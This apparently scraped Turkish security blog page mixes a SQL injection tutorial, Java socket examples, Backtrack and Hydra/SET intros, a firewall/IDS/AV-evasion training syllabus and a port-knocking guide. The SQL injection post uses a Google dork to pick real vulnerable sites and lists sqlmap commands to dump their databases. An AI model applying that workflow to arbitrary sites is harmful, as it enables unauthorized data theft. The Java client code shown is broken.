Upload
faruk-kan
View
84
Download
0
Embed Size (px)
Citation preview
http://www.gokhangokcinar.com/
Bilişim Notları
"Bilgisayarlardan korkmuyorum.Onların yokluğundan korkuyorum."--ISAAC ASIMOV
Ana SayfaHakkımdaİletişimProjelerimKaralama Defteri
26 Kasım 2014 Çarşamba
5-) BACKTRACK 5 R3 İLE SQL INJECTION( VERİ TABANI AÇIĞI ) BULUNMASI VE VERİTABANINA GİRİLMESİ
Merhaba Arkadaşlar;
Uzun bir aradan sonra tekrar Backtrack yazı dizisine devam ediyorum. Bu konumuzda sizlere elimden geldiğince SQL Injection ( Structured Query Language Injection) hakkında bilgi vermeye çalışacağım ve video'da ise canlı olarak hedeflediğimiz sitemizin veri tabanına ulaşmaya çalışacağız.
Öncelikle SQL Injection bir Veri Tabanı güvenliği açığı olarak bilinen bir saldırı şeklidir. Günümüzde kullanımı oldukça yaygın ve gelişmektedir. En çok kullanılan tarafları genel olarak üye giriş panelleri,kayıt işlemleri gibi yerlerde kullanılması yaygındır.
SQL Injection Web Uygulamalari açığı başlığı altında yer alır fakat ben fazladan başlıklar yerine konuyu elimden geldiğince kademe kademe işlemeye ve videolu anlatım yapmaya çalışacağım.
Evet arkadaşlar elbette kimse yaptığı veya kullandığı web sitesinin veri tabanına erişilmesi istemez çünkü büyük problemlere sebep olabilir. Mesela; Güvenirliği tam olmayan, sadece sonuç odaklı çalışan bir Alişveriş sistesini düşünelim. Bura da sonuç odaklı söylememin sebebi yani site yöneticisi sadece kar durumunu benimsemiş asla sitesinin Penetrasyon Testine tutmamış,Saldırı senaryolarına karşı ne yapacağı hakkında bilgisi olmayan bir siteden bahşediyorum. :) Tabi böyle sitelerin varlığı hele hele kredi kartları,hesap kartları kullanıldığı için en üst seviye güvenlikli olması gerekir. Neyse konuyu fazla uzatmıyorum ve senaryoma devam ediyorum... O alışveriş sitesinden çok güzel bir ürün beğendiniz dediniz ki bu ürün benim olmalı :) Hemen işe koyuldunuz bir de ne görüyorsunuz kayıt olmanız lazım :) Ama sizin umrunuzda mı tabi ki değil çünkü o ürünü çok istiyorsunuz. :) Hemen kayıt işleminiz gerçekleştiriyorsunuz ve siteye girişi yapıyorsunuz. Ama bilmediğiniz bir şey var site belki de kredi kartı no'sunu kayıt etmenizi isteyebilir( bu ihtimal çok düşük olsa da tekrar hatırlatmakta fayda var şu anda bir senaryo uyduruyorum ) Neyse sonra siz kredi kartı no'yu kayıt ediyorsunuz ama sadece siz değil o işlemi başkaları da kayıt ediyor. Ve daha bir çok bilginiz de ele geçiriliyor. Siz bir ürün isterken bi bakmışınız 10 ürün alınmıs tabi bu iyi tarafı :) İşte bu tür saldırı senaryoları başında
veri tabanını iyi koruyamama ya da açıklıklar bulunması.... Tabi bir web sitesini SQL Injection saldırılarından koruyabiliriz. Bununla ilgili çözümleri ilerde paylaşacağım.
Şimdi ihiyacımız olan şey ilk önce bir hedef site belirlememiz. Bunu video'da anlatacağım ama burada da yazmamda fayda var diye düşündüm.
Google arama çubuğuna " inurl:news.php?=id " yazıyoruz. Veri tabanı açığı olan veya SQL Injection saldırısı için uygun siteler sıralanıyor. Bu siteleri farklı şekilde de bulabiliriz ama en uygunu yukarıda yazdığım dork'tur.
Yukarıda yaptığımız işlemle hedef sitemizi belirledik. Şimdi artık sıra işlemlerimizi gerçekleştirmede :)
Bundan önce video'da kullanacağım program ve kodlardan bahsedeyim.
Öncelikle windows ortamında kullanacağımız ( zorunlu değil ) havij yazılımını indiriyoruz.
Daha sonra SqlMap kullanacağımız için Backtrack 5 R3 işletim sistemine ihtiyacımız var.
Şimdi de Backtrack 5' de Terminal ekranda yazacağımız kodları yazalım.
" pyton ./sqlmap.py -u [ hedef site ismi] --dbs " ---> Veri tabanlarını listeler.
" pyton ./sqlmap.py -u [hedef site ismi] -D [seçilen veritabanı] --tables "--->Tabloları listeler.
" pyton ./sqlmap.py -u [hedef site ismi] -D [seçilen veritabanı] -T [seçilen tablo adı] --columns " ---> seçilen tablodaki verileri getirir.
" pyton ./sqlmap.py -u [hedef site ismi] -- dump -T [Tablo adı] -D [ seçilen veritabı adı] " ---> kolonların içerisindeki bilgileri getirir.
Aşağıdaki video da bu işlemlerin nasıl yapıldığını göstermeye çalışacağım.
Gönderen Burak Gökçınar zaman: 01:28 Hiç yorum yok:
Bunu E-postayla Gönder
BlogThis!
Twitter'da Paylaş
Facebook'ta Paylaş
Pinterest'te Paylaş
Etiketler: Backtrack 5 r3, Penetrasyon Testleri, Sızma Testleri, SQL INJECTION, SqlMap, veri tabanı güvenlik
12 Kasım 2014 Çarşamba
JAVA SOKET PROGRAMLAMA (DEVAM)
Arkadaşlar Java'da Soket Programlamaya daha önce basit bir giriş yapmıştık. Şimdi ise biraz daha detaylı şekilde ele almaya çalışacağız. Yapılan çalışmalar ECLİPSE'de yapıyorum diğer java derleyicilerini de elbette kullanabilirsiniz.
Öncelikle sizinle paylaşmaya çalışacağım konu soket programın Server-Client tarafında nasıl işlendiği,neler yapılması gerektiği ve nasıl çözümlenmesi gerektiğinden bahsetmeliyiz. Soket programlama da Server ve Client ayrı ayrı kodlanır. Daha önceki konuda direk örneği paylaşmam biraz çalışma mantığını özetliyor tabiki de ama ben yine de söylemek istedim. :)
Programın algoritmasına göre tasarlanan kodlar kümesinde Server tarafı Client(istemci) tarafına istenilen dataları barındırır ve paylaşır. Client(istemci) ise bu dataları vb. yapıları işler Server-Client arası mekik okuma gibi işlemler yapılır. Bunu yaparken de tabi ki bir port no'da bu işlemler sağlanır. Biraz kafanız Karışmış olabilir ama bunla ilgili simple bir örnek yapınca biraz daha açıklayıcı olurum
umarım :) Tabi bir soket program'dan bahsederken sadece server-client'den ibaret değil ama ilk başlangıç adımlarımız için bu terimler yeterlidir. TCP/IP Soket programlama olarak da litaratür de geçer. Habarleşme de port no'ların kullanılacağından bahsetmiştik. Bazı yapılar için port numaralarını sizinle paylaşmak isterim.
ftp 21/tcp
telnet 23/tcp
smtp 25/tcp
login 513/tcp
http 80/tcp
https 443/tcp
Bu bölümde biraz daha olayı detaylandırdık. Soket Programlama sadece Java'da deği C/C++,C# gibi programlama dillerinde de işlenen konudur.
Şimdi size Server-Client yapısı'nın nasıl olması gerektiğini,genel mantık yapılarını bir örnek üzerinden video üzerinden göstermeye çalışayım. İnşallah yararlı olabilirim.
Gönderen Burak Gökçınar zaman: 03:04 Hiç yorum yok:
Bunu E-postayla Gönder
BlogThis!
Twitter'da Paylaş
Facebook'ta Paylaş
Pinterest'te Paylaş
8 Kasım 2014 Cumartesi
JAVA SOCKET PROGRAMMING
Soket, bir sunucu programı ve bir veya birden çok istemci programı arasında çift yönlü iletişim kuran bir yazılım uç noktasıdır.
Sunucu programı genellikle istemci programları ağına kaynak sağlar. İstemci programları, sunucu programına istekler gönderir ve server programı da bu isteklere yanıt verir.
Thread(iş parçacığı) kullanarak, multi-threaded(çoklu iş parçacığı) sunucu programı istemciden genel bağlantıyı kabul edebilir, bu bağlantı için thread başlatılır ve diğer istemcilerin istekleri dinlenilmeye devam edilir.
"java.net" paketi 2 yaygın ağ protokolü için destek sağlar:
* TCP : TCP, Transmission Control Protocol anlamına gelir ve bu protokol iki uygulama arasında güvenilir iletişim sağlar. TCP genellikle, TCP/IP olarak anılan Internet Protocol üzerinden kullanır.
* UDP : UDP, User Datagram Protocol anlamına gelir, ve bu bağlantısız protokol uygulamalar arasında aktarılacak veri paketleri sağlar
Soket Programlama daha geniş şekilde incelenmesinde yarar verdır. Soket Program hakkında daha detaylı bilgiyi " http://www.oracle.com/technetwork/java/socket-140484.html " adresinden bulabilirsiniz. Soket Programlama için oldukça geniş yabancı kaynaklar da mevcuttur. Benim burada ki amacım size az da olsa Soket Program hakkında bilgisi olmayan için veya daha önce de duymamış olanlar için hatta meraklılar için bu yazıyı uzun bir aradan sonra yazıyorum.
Örnek :
DateServer.java
package JavaSocketProgramming;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Date;
public class DateServer {
public static void main(String[] args) throws IOException {
ServerSocket listener = new ServerSocket(9090);
try {
while (true) {
Socket socket = listener.accept();
try {
PrintWriter out =
new PrintWriter(socket.getOutputStream(), true);
out.println(new Date().toString());
} finally {
socket.close();
}
}
}
finally {
listener.close();
}
}
}
DateClient.java
package JavaSocketProgramming;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.Socket;
import javax.swing.JOptionPane;
public class DateClient {
Socket s = new Socket(serverAddress, 9090);
BufferedReader input =
new BufferedReader(new InputStreamReader(s.getInputStream()));
String answer = input.readLine();
JOptionPane.showMessageDialog(null, answer);
System.exit(0);
}
}
Arkadaşlar öncelikle "DateServer.java" daha sonra da
"DateClient.java" yı çalıştırıyoruz.
Gönderen Burak Gökçınar zaman: 23:58 Hiç yorum yok:
Bunu E-postayla Gönder
BlogThis!
Twitter'da Paylaş
Facebook'ta Paylaş
Pinterest'te Paylaş
Etiketler: Java, Multi-Thread, Socket Programming, Soket Programlama, Soket Programlama Örnek, Thread
25 Ağustos 2014 Pazartesi
4-) BACKTRACK 5 R3 İLE HYDRA (PASSWORD ATTACK) ve SET (SOCIAL TOOLS ATTACK) ARAÇLARIN TANITIMI
Merhaba arkadaşlar. Belli bir aradan sonra tekrar Backtrack 5 R3 VE PENETRASYON testleri araçlarının tanıtımına devam etmekteyim :) Öncelikle bugün tanıtacağım araçlar geliştirme araçları,yöntemleri,saldırı durumu vb. gibi detaylarca çeşitlilik gösterebilir. Bu tür ataklarda en önemli şey tabi ki bilgi yanında sabırdır :)
Lafı daha fazla uzatmadan HYDRA ve SET araçlarını elimden geldiğince tanıtmaya çalışacağım. HYDRA aracı bir şifre atak aracıdır aslında tam bir atak aracı sayılmaz video'da daha detaylı anlatacağım tabi ki ama elinizde birçok kişinin şifreleri var ama hangisi hangisine ait bilmiyorsunuz mail adresini bilmeniz yeter çünkü o mail adresine ait şifre hangisi milyon tane de olsa aralarıdan çok kısa bir süre de bulup getiriyor. SET aracı ise 'social network' yani sosyal ağlar'ın ele geçirilmesini sağlayan bir araçtır bu araçlardan birden farklı yol tabi ki vardır belki de diyebilirsiniz facebook gibi büyük bir kuruluşun/şirket'in nasıl bu tür açıkları olabiliyor diye ? Ama belki de atlanan bir yer var bunda facebook asla sorumlu olmayacaktır ve tutamazlar da çünkü; kişi kendi isteğiyle geliyor yani ne yaparsa kendi kendine yapıyor :) Bu durum tabi ki hoş karşılanmayacaktır hatta neden anlattığımı bile sorabilirsiniz ? Bunları anlatmamda ki amacım hemen gidin arkadaşınızın vs. hesaplarını alın onların içeriklerini haksız/izinsiz değiştirin şu bu..... Bu tür durumlar suçtur ve bunu daha önce açıkça daha önceki yazılarımda söyledim. Unutmayın arkadaşlar nasıl birisinin hesabını ele geçirirken ben uzaktayım nasıl bulacak diye sakın düşünmeyin telefonunuza kadar bulunabilir hatta ve hatta dinlenebilir sizin internet ortamında yaptıklarınızı izleyebilir bilgi alabilir ve adresinize kadar bulunabilir.... Ama bunları daha da geliştirebilirsek savunma sanayi,silah sanayisi,otomobil vs. gibi alanlara da entegre edebilirsek işte o zaman neden bunların var olduğu daha iyi anlaşılır...
İlginiz için teşekkür ederim... :)
Gönderen Burak Gökçınar zaman: 01:52 Hiç yorum yok:
Bunu E-postayla Gönder
BlogThis!
Twitter'da Paylaş
Facebook'ta Paylaş
Pinterest'te Paylaş
Etiketler: Backtrack 5 r3
6 Ağustos 2014 Çarşamba
3-) BACKTRACK 5 R3 İLE DNS ANALİZ ARAÇLARI VE PİNG TARAMASI(fping aracı)
Merhaba arkadaşlar... Bugün Backtrack konumuzun biraz daha derine iniyoruz. Yapacağımız çalışmada DNS Analiz aynı zamanda ip bakımı domain kayıtları,mail adres vb. kayıtları gösterme yine DNS Analiz kısmında bulunan reverseraider ile web adreslerin ip değerinin/aralıkların bulunması ve son olarak ise fping aracı ile ağda ping ataması yapılamasını göstereceğim.
Artık daha da görsel hale geldiğimiz için bundan sonrakileri genellikle video ortamında anlatmaya çalışacağım.
İlginize Tekrar Teşekkür ederim...:)
Gönderen Burak Gökçınar zaman: 04:44 Hiç yorum yok:
Bunu E-postayla Gönder
BlogThis!
Twitter'da Paylaş
Facebook'ta Paylaş
Pinterest'te Paylaş
Etiketler: Backtrack 5 r3
5 Ağustos 2014 Salı
2-) BACKTRACK 5 R3 GİRİŞ-2 VE WIRESHARK TANITIMI
Merhaba arkadaşlar... Bugün Backtrac 5 r3 işletim sistemi hakkında bilgi vermeye devam edeceğim. Öncelikle Penetrasyon testlerinin öneminden daha önce bahsetmiştim. Yapılan incelemeler,çıkarılan sonuçlar,son anda düzeltilen hatalar,küçük(önemsiz) görülen ihmaller doğrultusunda ortaya ileride çıkacak büyük sorunlar... Bunların hiçbirinin olmasını istemeyiz... Aslında Penetrasyon Testleri bir Hacker işi gerektirmiyor fakat işi o boyuta süren özellikle yurt dışında kişiler oldukça fazla... Eğer Penetrasyon Testleriyle Güvenlik sağlamak istiyorsak öncelikle bazı terimle iyi anlamamız lazım. Tabi ki bu hemen olacak bir şey değil... Zamanla göreceksiniz ki en azından aklınızda bir fikir sahibi olmuşsunuz ki bu Türkiye geleceği için ileride oluşacak güvenlik,koruma vb. ihtiyaçlar için gurur verici bir durum. Unutmayın amacımız insan özgürlüğüne müdahale etmek değil onları daha da özgür ama güvenli hale getirmek...
Evet arkadaşlar şimdi isterseniz aşağıda yayınlamış olduğum videomuza bakalım. Videomuzda, klavye düzeni hakkında bilgi,Bactrack 5 r3 menü tanıtımı ayrıca bazı termal komutları,Erişim Yetkilerinin Kullanılması ve WireShark yazılımı hakkında bilgi vereceğim ve artık Penetrasyon Testlerin'de girişimizi ilerletelim...
Ayrıca yazıyla da Erişim Yetkileri Hakkında bilgi vereyim.
0 Sayısı 000 ---->izin yok ! kullanımı: ---
1 Sayısı 001 ---->sadece çalıştırma, kullanımı: --x
2 Sayısı 010 ---->sadece yazma, kullanımı: -w-
3 Sayısı 011 ---->yazma ve çalıştırma, kullanımı: -wx
4 Sayısı 100 ---->sadece okuma, kullanımı: r--
5 Sayısı 101 ----> okuma ve çalıştırma, kullanımı: r-x
6 Sayısı 110 ---->okuma ve yazma, kullanımı: rw-
7 Sayısı 111 ----> okuma,yazma ve çalıştırma, kullanımı: rwx
NOT: ARKADAŞLAR VİDEO DA ERİŞİM YETKİLERİNDE 8 SAYISINA KADAR DEMİŞİM AMA YAZIMLAR DOĞRU SADECE KAFA KARIŞIKLIĞI OLMASIN DİYE YUKARIDA BİR DAHA BELİRTTİM. ÖZÜR DİLERİM...
Şimdiden ilginiz ve anlayışınız için Teşekkür ederiz... :)
Gönderen Burak Gökçınar zaman: 05:40 Hiç yorum yok:
Bunu E-postayla Gönder
BlogThis!
Twitter'da Paylaş
Facebook'ta Paylaş
Pinterest'te Paylaş
Etiketler: Backtrack 5 r3, Penetrasyon Testleri, WireShark, WireShark yazılımı
3 Ağustos 2014 Pazar
1-) BACKTRACK 5 R3 VE PENETRASYON(SIZMA) TESTLERİ
Merhaba arkadaşlar... Geliştirdiğiniz bir yazılım sizce yeterince dışarıya dönük korunaklı mı ? Peki ya web ortamlarında gezinirken içiniz rahat rahat dolaşıyor musunuz? Acaba mailinize gelen abuk sabuk mesajlara bir anlam getiremiyor musunuz ? Hatta eminim ben nerelere kayıt olmuşum veya kardeşim,yiğenim aah ahh nerelere girmiş böyle dediğinizi de sanki duyar gibiyim :) O zaman kendi test aşamalarınızı,güvenlik zafiyetleri olan yerlerin tespit edilmesi vb. birçok sey belki ilginizi çekebilir. O zaman bu yazı tam size göre...
LÜTFEN ÖNCELİKLE NOT'U DİKKATLİ ŞEKİLDE OKUYUNUZ...
NOT: Türk Caza Kanunun'da izinsiz olarak yapılan güvenlik izleme,test aşamalarının tespit etme,başkalarının özgürlüğüne en ufak müdahale edilmesi bilişim suçu olarak nitelendirilmiştir. Bundan dolayı Ceza-i işlem uygulanmaktadır. Kişilerin hür ve özgürlüklerine müdahale de bulunarak kısıtlanması,kişi ve/veya kuruluşların izni olmadan sistem taramalarının gerçekleştirilmesi ayrıca izinsiz şifre/dosya/evrak değiştirme/tahsil etme durumlarında gerekli yasalarca ceza-i işlem uygulanır.
Bunları yazmamda ki amaç sadece bu olayın bir test aşamasından oluşmadığını belirtmek istemem. Çünkü g-mail/hotmail hesap şifreleri ayrıca Facebook/Twitter/Instegram gibi paylaşım hesap şifreleri,Wi-fi ağ içerisine girme,farkedilmeden verileri kişisel PC'ye yönlendirme ayrıca elektronik yönden ise yapacağımız bir takip sistemi ile klavyeden girilen her türlü verinin kişisel PC'mize aktarılması ve Sinyal Kesiciler(Jammer) ile ilgili uygulama aşamaları da genel olarak Penetrasyon Testlerine girmekte...
Öncelikle daha önceki yazılarımda da anlattığım sanal makinaya işletim sistemini(Backtrack 5 r3) nasıl kurulacağını ve Penetrasyon Testleri hakkında kısaca bilgiler vererek elimden geldiğince anlatmaya çalışacağım.
Backtrack 5 r3 dowland(indirme) yerinide torrent sitesinin URL adresini paylaşayım.
"http://yourbittorrent.com/torrent/3581117/bt5r3-kde-32.html" adresinden Bactrack 5 r3 32 bit işletim sistemini indirebilirsiniz. İsterseniz 64 bit seçeneği de indirebilirsiniz.
Video da anlattığım gibi Backtrack 5 r3 32 bit kurulumundan sonra "Login" ve "Password" yerine aşağıdaki değerleri yazınız.
LOGİN: root
PASWORD: toor veya root (ikisinden biri olacaktır)
Bilgi Güvenliği AKADEMİSİ olarak yaklaşık bir yıldır üzerinde çalıştığımız yeni eğitimimiz artık sunuma hazır hale geldi. Eğitime ait detayları aşağıda bulabilirsiniz.
Eğitim Tanımı:
Siber güvenliğin sağlanmasında en güvenli yol katmanlı güvenli mimarisinin uygulanması ve bu mimariye göre her katmanda ilgili çözümlerin tercih edilmesidir. Günümüz internet dünyasında genellikle güvenlik kelimesi çözüm odaklı değik ürün odaklı olarak işlenmektedir. Yurt dışından alınan ürünler tüm dünyadaki ortalama IT sistemlerine hitap edecek şekilde geliştirildikleri için ön tanımlı ayarlarla yeteri kadar güvenlik sağlamazlar. Bu eğitimle kurumların sahip oldukları ya da olmayı planladıkları siber savunma sistemleri hakkında detay teknik bilgi ve bu ürünleri alırken, konumlandırırken gerçekleştirmeleri gereken testler hakkında bilgi edinmeleri sağlanacaktır.
Eğitimin üç ana temel amacı bulunmaktadır: Siber savunma sistemlerinin çalışma mantıklarının anlaşılması, bu sistemlerin konumlandırılırken dikkat edilecek hususların belirlenmesi, siber savunma sistemlerinin test edilmesi ve güvenlik ve mimarisel zafiyetlerinin tespit edilerek istismar edilmesi ve buna bağlı olarak da daha efektif ve güvenli siber savunma sistemlerinin kurulması.
Eğitim her bir kategoriye ait örnek sistemler üzerinden uygulamalı olarak gerçekletirilecek, kurulum imkanı olmayan sistemler için emulator kullanılacaktır.
Eğitim içeriğinde kullanılan test yöntemleri ve kontrol listeleri NSS, ICSA Labs, Westcoast labs gibi endüstri standartı firmaların yayınladığı raporlardan faydalanılarak hazırlanmıştır.
Eğitim Seviyesi:İleri
Kimler Katılmalı: Bilişim güvenliği ürünleri satan, üreten firma personeli, güvenlik projelerinde danışman olarak çalışan uzmanlar, kurumlarda güvenlik operasyonu yapan personel ve IT denetim uzmanları
Ön Gereksinimler: Temel TCP/IP ve Linux bilgisi, eğitimde anlatılacak konu bağlığı ürünlerle daha önce çalışmış olmak.
Eğitim Süresi: 4 Gün
Eğitim İçeriği:
Siber Savunma Amaçlı Kullanılan Sistemler ve İşlevleri
Güvenlik Duvarı (Firewall)
Yeni Nesil Güvenlik Duvarı Kavramı
Saldırı Tespit ve Engelleme Sistemleri (IPS)
Web Uygulama Güvenlik Duvarı (WAF)
DoS/DDoS Engelleme Sistemleri ve Çalışma Yöntemleri
Veri Kaçağı Engelleme Sistemleri (DLP)
Antivirüs, AntiSpam Sistemleri
AntiMalware/APT Tespit ve Engelleme Sistemleri
Beyaz Liste Uygulama (Application Whitelisting)
İçerik Filtreleme Sistemleri
NAC(Network Access Control ) Sistemleri
Log Yönetimi ve Olay Yönetimi Sistemleri
Güvenlik Duvarı Test ve Atlatma Yöntemleri
Güvenlik duvarı temel işlevleri ve kullanım alanları
Ticari açık kaynak kodlu güvenlik duvarı yazılımları
Güvenlik duvarı keşif çalışmaları
Güvenlik duvarı performans değerlerini anlama
Datasheet değerleri nasıl elde edilmektedir?
Klasik tünelleme yöntemleri kullanarak Firewall atlatma
Mac spoofing, IP spoofing kullanarak firewall kuralları atlatma
Firewall kurallarının test edilmesi(firewallking).
Firewall yönetim arabiriminin test edilmesi
Güvenlik duvarı projelerinde dikkat edilecek hususlar
Firewall testleri kontrol listesi
Yeni Nesil güvenlik Duvarı
Klasik güvenlik duvarı ve yeni nesil güvenlik duvarı farklılıkları
Port bağımsız protokol tanıma(PiPi) özelliği ve çalışma mantığı
Sık kullanılan antisansür yazılımları (Ultrasurf, Tor, Jane ) engelleme
Açık kaynak kodlu ve ticari yeni nesil güvenlik duvarı yazılımları
Yeni nesil güvenlik duvarı sistemlerinin DNS tünelleme kullanılarak atlatılması
Application cache kullanarak NGFW sistemlerinin atlatılması
Yeni nesil güvenlik duvarı projelerinde dikkat edilecek hususlar
Saldırı Tespit ve Engelleme Sistemleri ve Test Yöntemleri
Saldırı Engelleme Sistemleri çeşitleri (Host/Network/Log)
Yeni nesil IDS/IPS kavramı ve getirileri
Açık kaynak kodlu ve ticari IDS/IPS sistemleri
Yerel ağ saldırıları karşısında IDS konumlandırma
Internet üzerinden IPS keşif çalışmaları
Örneklerle saldırı tespit kuralı geliştirme (Snort, Sourcefire)
Web atakları karşısında IDS/IPS’lerin yetersizliği örnekleri
Kodlama ve şifreleme (SSL/TLS) kullanarak IDS/IPS atlatma
Parçalanmış paketler kullanarak IPS şaşırtma
Tuzak sistemler kullanarak IDS/IPS şaşırtma
IP sahteciliği kullanarak IDS/IPS atlatma teknikleri
IDS/IPS alırken nelere dikkate edilmeli
Saldırı tespit ve engelleme sistemleri testleri kontrol listesi
DoS/DDoS Engelleme Sistemi ve Test Yöntemleri
DoS/DDoS kavramları ve temel engelleme yöntemleri
Bulut tabanlı DDoS engelleme sistemleri ve artıları/eksileri
Cloudflare üzerinde host edilen sitelere yönelik gerçek ip üzerinden saldırı
Saldırı Tespit ve Engelleme Sistemlerini DDoS engelleme amaçlı kullanımı
DDoS sistemi keşif çalışmaları
IP sahteciliği kullanarak DDoS sistemi atlatma teknikleri
UDP tabanlı flood saldırıları karşısında ddos engelleme sistemlerinin yetersizlikleri
Amplified DNS ve NTP saldırıları ile DDoS sistemlerini şaşırtma
DoS/DDoS sistemi alırken ve konumlandırırken hangi hususlara dikkat etmeli
DDoS testleri kontrol listesi
Antivirüs/HIPS/SEP Yazılımları ve Atlatma Yöntemleri
Antivirüs/HIPS yazılımları ve çalışma mantığı
Bilinen ticari, açık kaynak kodlu antivirüs yazılımları
Antivirüs/HIPS yazılımları atlatma amaçlı kullanılan teknik ve yöntemler
Crypter, binder kavramları
Metasploit kullanarak test senaryolarının oluşturulması
Tanınmaz AV oluşturma yazılım ve siteleri
Online AV test siteleri
Anti-Malware / APT Tespit Sistemleri ve Test Yöntemleri
APT kavramı ve teknik detayları
Basit araçlar kullanarak tanınmaz zararlı yazılım üretimi
Bilinen APT engelleme sistemleri ve çalışma mantıkları
Antimalware ve Anti Spam keşif çalışmaları
APT/Antimalware projelerinde dikkat edilecek hususlar
APT tespit ve engelleme sistemleri testleri kontrol listesi
Application Whitelisting Sistemleri ve Test Yöntemleri
Negatif ve Pozitif güvenlik modeli farkları
“Application Whitelisting” ürünlerine neden ihtiyaç duyulur
Kullanılan Application whitelisting ürünleri
Uygulama seviyesi ve çekirdek seviyesi koruma yöntemleri
Uygulama seviyesi kontrollerin aşılması
İçerik Filtreleme Sistemleri ve Atlatma Yöntemleri
İçerik filtreleme sistemleri ve temel çalışma yapıları
Standart beyaz liste, kara liste mantığı kullanan sistemler
Dinamik olarak içerik filtreleme yapan sistemleri
İçerik filtreleme sistemleri atlatma test ve teknikleri
İçerik filtreleme sistemlerini Proxy kullanarak atlatma
İçerik filtreleme ürün seçiminde dikkat edilecek hususlar
İçerik filtreleme testleri kontrol listesi
NAC Çözümü ve Test, Atlatma Yöntemleri
NAC kavramı, avantajları ve sıkıntıları
NAC çalışma mantığı ve bağlı olduğu bileşenler
NAC, 802.1x farklılıkları
Bilinen ticari ve açık kaynak kodlu NAC yazılımları
MAC adres değiştirme yöntemi ile NAC atlatma
DHCP kullanılan ağlarda NAC atlatma teknikleri
Kullanılmayan port (printer vs) üzerinden NAC atlatma testleri
Alternatif NAC atlatma teknik ve yöntemleri
NAC projelerinde dikkat edilecek hususlar
NAC testleri kontrol listesi
Web Application Firewall Test ve Atlatma Yöntemleri
WAF çalışma yapısı ve normal güvenlik duvarları
WAF ve IPS farkları
WAF yerleşim yöntemleri
Ticari ve açık kaynak kodlu WAF ürünleri
Citrix Netscaler, Mod Security, F5 ASM, Barracuda WAF
WAF kullanarak web zafiyetlerinin tespiti ve engellenmesi
XSS, LFI, SQL injection engelleme
WAF sistemlerine yönelik güvenlik testleri
WAF tespit ve keşif yöntem, araçları
Temel WAF atlatma yöntemleri
HPP(HTTP PArametre Pollution) kullanarak WAF atlatma
Değişik XSS payloadları kullanarak WAF kurallarını aşma
Sqlmap tamper script kullanarak WAF atlatma
Pyronbee kullanarak waf testleri
WAF alımı ve konumlandırma aşamalarında dikkat edilecek hususlar
WAF testleri kontrol listesi
Log Yönetimi Sistemi Test ve İyileştirme Çalışmaları
Log yönetimi ve log toplama farkları
Ticari ve açık kaynak kodlu log yönetimi ve log toplama sistemleri
Log korelasyonu örnekleri
Log yönetimi ve korelasyon sistemlerine şaşırtmaya yönelik sahte log üretimi
Snort imzaları kullanarak sahte saldırı log üretimi
Log yönetimi sistemi alımı ve konumlandırma aşamalarında dikkat edilecek hususlar
Log yönetimi testleri kontrol listesi
DLP-Veri Sızma Engelleme Sistemi ve Test Yöntemleri
DLP öncesi veri sınıflandırma çalışmaları
DLP projelerinde dikkat edilmesi gereken hususlar ve kontrol listesi
DLP çeşitleri
Host tabanlı ve Ağ tabanlı DLP sistemleri
Ağ tabanlı DLP sistemlerinin eksileri ve atlatma yöntemleri
Host tabanlı DLP sistemlerinin eksileri ve atlatma yöntemleri
Encoding kullanarak Ağ seviyesi DLP sistemlerinin atlatılması
Host tabanlı DLP sistemleri
DLP alımı ve konumlandırma aşamalarında dikkat edilecek hususlar
DLP testleri kontrol listesi
Open menu Share
0 0
05/03/14--09:04: Port Knocking Yöntemi ile Portları Güvenli Açma
Knockd istemci-sunucu mantığı ile çalışan sisteminizde bir port açık olmadığı halde uzaktan vereceğiniz belirli port yoklamaları ile istediğiniz portu açabilecek yada sisteme bağlanmadan istediğiniz komutu çalıştırabilecek bir programdır. Knockd’yi kullanabilmek için aşağıda linki verilen iki yazılımı da indirmelisiniz, sunucu uygulamasını sunucu makinenize istemci uygulamasını da sunucuya bağlanmak istediğiniz herhangi bir makineye kurabilirsiniz.
Kurulum
Sunucu ve istemci tarafı için gerekli paketleri
http://www.zeroflux.org/knock/knock-0.3.tar.gz adresinden indirebilirsiniz.
İstemci tarafına kurulum için,
# rpm -ivh knock-0.3-2.i386.rpm
Preparing... ########################################### [100%]
1:knock ########################################### [100%]
Sunucu tarafına kurulum için,
# rpm -ivh knock-server-0.3-2.i386.rpm
Preparing... ########################################### [100%]
1:knock-server ########################################### [100%]
Çalışma Mantığı
Karmaşık gözükmesine rağmen oldukça basit bir mantıkla çalışıyor “knockd”, yaptığı iş ağ arabirimine (Ethernet,ppp) gelen tüm trafiği dinlemek ve konfigürasyon dosyasında belirtilen uyarlamalara uygun bir paket geldiginde yine konfigürasyon dosyasında belirtildiği komutları çalıştırmak.
Istemci belli sirada port yoklaması yapar, istemci port yoklamasını tcp ya da udp portlarda yapabilir. Ve en önemlisi de yoklama yaptığınız portun açık olup olmamasının öneminin olmadığıdır. Normalde kapalı bir porta göndereceğiniz paketlerden eğer filtrelenmemişse RST cevabı döner.
Peki nasıl oluyorda ‘knockd’bu işi yapabiliyor? Bunun için biraz TCP/IP bilgilerimizi güncelleyelim. Bir paket bir hosttan diğerine gönderildiğinde OSI katmanının en üst seviyesinden an altına kadar yolculuk yapar ve fiziksel ortama bırakılır , karşı tarafa ulaştığında ise OSI katmanının en alt katmanından en üst (Application Level)katmanına kadar ters bir yolculuk geçirir, bu katmanlardan herbirinin kendine göre farklı bir görevi vardır, port kavramının sözünün geçtiği katmanda 4.katmandır. Detaylı gösterim için aşağıdaki resme bakabilirisiniz. İşte knockd paketi daha 4.katmana ulaşmadan data Link layer(2)da yakalıyor, okuyor ve içeriğine gore işlemi gerçekleştiriyor, nasıl iyi fikir değil mi?
Sunucu Kullanımı
Sunucu kullanımda kullanabileceğimiz seçenekler
-i ile hangi arabirimin dinleneceğini belirliyoruz,herhangi bir değer belirtmezsek varsayılan olarak ilk Ethernet kartını(Linux’lar için eth0)dinlemeye alacaktır.
-d knockd nin bir servis olarak hizmet vermesini belirliyoruz.
-c <dosya_ismi> opsiyonu ile de kullanılacak yapılandırma dosyasını belirliyoruz varsayılan olarak bu değer /etc/knockd.conf tur,
-D parametresi ile de sunucu programının debug modda çalışmasını sağlıyoruz
-V ile calışan programın versiyonunu öğrenebiliriz.
-h parametresi kullanılabilecek parametreleri göstermeye yarar. Data detaylı kullanım için man knockd komutunu kullanabilirsiniz.
İstemci Kullanımı
Istemci kullanımının seçeneklerine ulaşmak için
# knock
komutunu vermeniz yeterlidir,bu seçeneklerin ne işe yaradığı aşağıda belirtilmiştir.
usage: knock [options] <host> <port> [port] ... options:
